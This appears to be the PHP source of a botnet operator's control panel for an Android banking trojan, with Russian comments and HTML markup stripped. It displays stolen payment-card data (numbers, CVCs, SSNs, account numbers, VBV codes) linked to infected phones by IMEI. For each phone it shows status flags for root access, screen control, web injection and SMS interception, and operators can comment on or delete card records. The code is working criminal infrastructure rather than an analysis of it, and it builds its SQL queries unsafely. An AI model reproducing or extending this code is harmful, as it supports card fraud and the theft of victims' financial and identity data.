Credit cards: "; ?>
exec('SET NAMES utf8'); $sql = "SELECT * FROM cc"; if(isset($_POST["click_log"]))//Открываем форму логи! { $log_IMEI = $_POST["click_log"]; echo ""; } if(isset($_POST["click_set"]))//Открываем форму настроек! { $set_IMEI = $_POST["click_set"]; echo ""; } if (preg_match("/kom_save/",print_r($_POST,true))) { $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection->exec('SET NAMES utf8'); $str = print_r($_POST,true); $str = str_replace("[kom_save","!!!",$str); $str = str_replace("]","@@@",$str); $massiv = explode("!!!", $str); $massiv = explode("@@@", $massiv[1]); $str = $massiv[0]; $comments = $_POST["komment$str"]; $statement = $connection->prepare("UPDATE cc SET comments = '$comments' WHERE numbercard = '$str'"); $statement->execute([$comments]); $statement->execute([$str]); } if (preg_match("/delete/",print_r($_POST,true))) { $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection->exec('SET NAMES utf8'); $str = print_r($_POST,true); $str = str_replace("[delete","!!!",$str); $str = str_replace("]","@@@",$str); $massiv = explode("!!!", $str); $massiv = explode("@@@", $massiv[1]); $str = $massiv[0]; $statement = $connection->prepare("DELETE FROM cc WHERE numbercard='$str'"); $statement->execute([$str]); } /****Ограничение по тегам****/ $userRights = new users_right; $tags = explode("|", $userRights->getPrivateTags()); $thisTag = explode(",", $tags[0]); $privateTag = explode(",", $tags[1]); /****************************/ $sql = "SELECT * FROM cc"; echo ""; foreach($connection->query($sql) as $row) { $imei = $row['imei']; $country = $row['country']; $numbercard = $row['numbercard']; $numbercard2 = $row['numbercard']; $monthyear = $row['monthyear']; $cvc = $row['cvc']; $nameholder= $row['nameholder']; $databirth = $row['databirth']; $postalcode = $row['postalcode']; $addressholder = $row['addressholder']; $phonenumber = $row['phonenumber']; $ssn = $row['ssn']; $accountnumber = $row['accountnumber']; $vbv = $row['vbv']; $SortCode = $row['SortCode']; $timeaddcc = $row['timeaddcc']; $comments = $row['comments']; /*$bin = $row['bin']; $BIN1_1 = "not"; $BIN1 = ""; $BIN2 = ""; $BIN3 = ""; $BIN4 = ""; $BIN5 = ""; if($bin != "") { $massivBins = explode("|", $bin); $BIN1 = $massivBins[0]; $BIN2 = $massivBins[1]; $BIN3 = $massivBins[2]; $BIN4 = $massivBins[3]; $BIN5 = $massivBins[4]; $BIN1_1 = mb_strtolower($BIN1); $BIN1 = "Country: "; $BIN2 = "Vendor: $BIN2"; $BIN3 = "Type: $BIN3"; $BIN4 = "Level: $BIN4"; $BIN5 = "Bank: $BIN5"; } if($BIN1_1 == "")$BIN1_1 = "not"; */ $imei_=""; $AndroidBot = "ID Bots: "; $AndroidOS = "Android: "; $Operator = "Operator: "; $country = "Country: "; $tag_ = "Tag: "; $connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection2->exec('SET NAMES utf8'); $sql2 = "SELECT * FROM kliets"; foreach($connection2->query($sql2) as $row2) { if($row2['IMEI'] == $imei) { $OS = $row2['version']; $oper = $row2['number']; $countr = $row2['country']; $lastConnect = $row2['lastConnect']; $tag = $row2['version_apk']; $l_log = $row2['log']; $admin = $row2['r00t']; $screen = $row2['screen']; $requestInjProc=$row2['requestInjProc']; $requestSMS=$row2['requestSMS']; //******Получаем иконку состояния бота, вычисляем дату**** $arr_data_from = explode(" ", $row2['lastConnect']); $arr_data_till = explode(" ", date('Y-m-d H:i')); $date_from = $arr_data_from[0]; $date_till = $arr_data_till[0]; $date_from = explode('-', $date_from); $date_till = explode('-', $date_till); $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]); $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]); $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней! //----------Секунды!-------/ $date1 = new \DateTime($row2['lastConnect']); $date2 = new \DateTime(date('Y-m-d H:i')); $diff = $date2->diff($date1); // разница в секундах $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах! ($diff->m * 30 * 24 * 60 * 60) + ($diff->d * 24 * 60 * 60) + ($diff->h * 60 * 60) + ($diff->i * 60) + $diff->s; //----------обработка состояние иконки on/off-------/ if($day>=2)//Дни! { $img="images/icons/kill.png"; $getSortON_OFF="kill"; } else { if($seconds<=120) {$img="images/icons/online.png"; $getSortON_OFF="online";} else {$img="images/icons/offline.png"; $getSortON_OFF="offline";} } //************Иконки ЛОГОВ*************************************** if($l_log == "1") {$icon_log="images/icons/log_on.png";} elseif($l_log == "2") {$icon_log="images/icons/log_on_g.png";} else {$icon_log="images/icons/log_off.png";} /**/ if($admin == "1") {$icon_admin="images/icons/V.png";} else {$icon_admin="images/icons/X.png";} if($seconds<=120) { if($screen == "1") {$icon_screen="images/icons/V.png";} else {$icon_screen="images/icons/X.png";} } else { $icon_screen="images/icons/X.png"; } if($requestInjProc == "1") {$icon_requestInjProc="images/icons/inj_v.png";} else {$icon_requestInjProc="images/icons/inj_off2.png";} if($requestSMS == "1") {$icon_requestSMS="images/icons/sms_v.png";} else {$icon_requestSMS="images/icons/sms_x.png";} //----страны if($countr == "") $countr = "not"; $country = mb_strtolower($countr); $imei_ = "$imei"; $AndroidBot = "ID Bots: $imei"; $AndroidOS = "Android: $OS"; $Operator = "Operator: $oper"; $tag_ = "Tag: $tag"; break; } } if($_SESSION['panel_right']!="admin")//Ограничение по тегам { $boolContinue=true; if($tags[0]!=",") { foreach($thisTag as $tagZ) { if($tag == $tagZ) { if($tagZ!="") { $boolContinue=false; break; } } } if($boolContinue)continue; } else { foreach($privateTag as $tagZ) { if($tag == $tagZ) { if($tagZ!="") { $boolContinue=false; break; } } } if(!$boolContinue)continue; } }//--------------- if($numbercard!="")$numbercard = "Number: $numbercard
"; if($monthyear!="")$monthyear = "Mouth/Year: $monthyear
"; if($cvc!="")$cvc = "CVC: $cvc
"; if($nameholder!="")$nameholder = "Name holder: $nameholder
"; if($databirth!="")$databirth = "Date birth: $databirth
"; if($postalcode!="")$postalcode = "Postal code: $postalcode
"; if($addressholder!="")$addressholder = "Address holder: $addressholder
"; if($phonenumber!="")$phonenumber = "Phone number: $phonenumber
"; if($ssn!="")$ssn = "SSN: $ssn
"; if($accountnumber!="")$accountnumber = "Account number: $accountnumber
"; if($vbv!="")$vbv = "VBV: $vbv
"; if($SortCode!="")$SortCode = "Sort Code: $SortCode
"; $card = "$numbercard$monthyear$cvc$nameholder$databirth$postalcode$addressholder$phonenumber$ssn$accountnumber$vbv$SortCode"; $car = mb_strtoupper($card, 'utf-8'); $infoBot = "$AndroidBot$AndroidOS$Operator$country$tag_"; //$BINS_ = "$BIN1_1$BIN1$BIN2$BIN3$BIN4$BIN5"; $boolFIND = true; $boolFIND2 = true; $boolFIND3 = true; $boolFIND4 = true; if(($getFind==null)||($getFind=="")||($getFind==" ")){ $boolFIND = true; }else{ if(!Сontains($car, $getFind)) { $boolFIND=false; } /*if(!Сontains($BINS_, $getFind)) { $boolFIND2=false; }*/ if(!Сontains($comments, $getFind)) { $boolFIND3=false; } if(!Сontains($infoBot, $getFind)) { $boolFIND4=false; } } if($country=="Country: ")$country="not"; if(($boolFIND)||($boolFIND3)||($boolFIND4)) { if($AndroidBot!="ID Bots: "){ $icon="
"; }else{ $icon=""; } echo ""; } } echo ""; ?>
Comments

$AndroidBot
$AndroidOS
$tag_
$Operator
Country:
$icon

$card